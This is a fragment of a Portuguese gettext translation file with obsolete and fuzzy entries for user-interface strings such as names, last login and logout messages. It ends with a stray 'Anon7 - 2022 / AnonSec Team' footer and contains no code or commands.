#~ msgstr "A chave deve ter tamanho de 16, 24, ou 32 bytes"

#, fuzzy
#~| msgid "Group name"
#~ msgid "First name"
#~ msgstr "Nome do grupo"

#, fuzzy
#~| msgid "Last login"
#~ msgid "Last name"
#~ msgstr "Último login"

#~ msgid "last login"
#~ msgstr "último login"

#, fuzzy
#~| msgid "User '%s' logged out"
#~ msgid "User {} logged out"
#~ msgstr "O utilizador '%s' fez logout"

#~ msgid "Group name"
#~ msgstr "Nome do grupo"

#~ msgid "Display"
#~ msgstr "Exibir"

Anon7 - 2022
AnonSec Team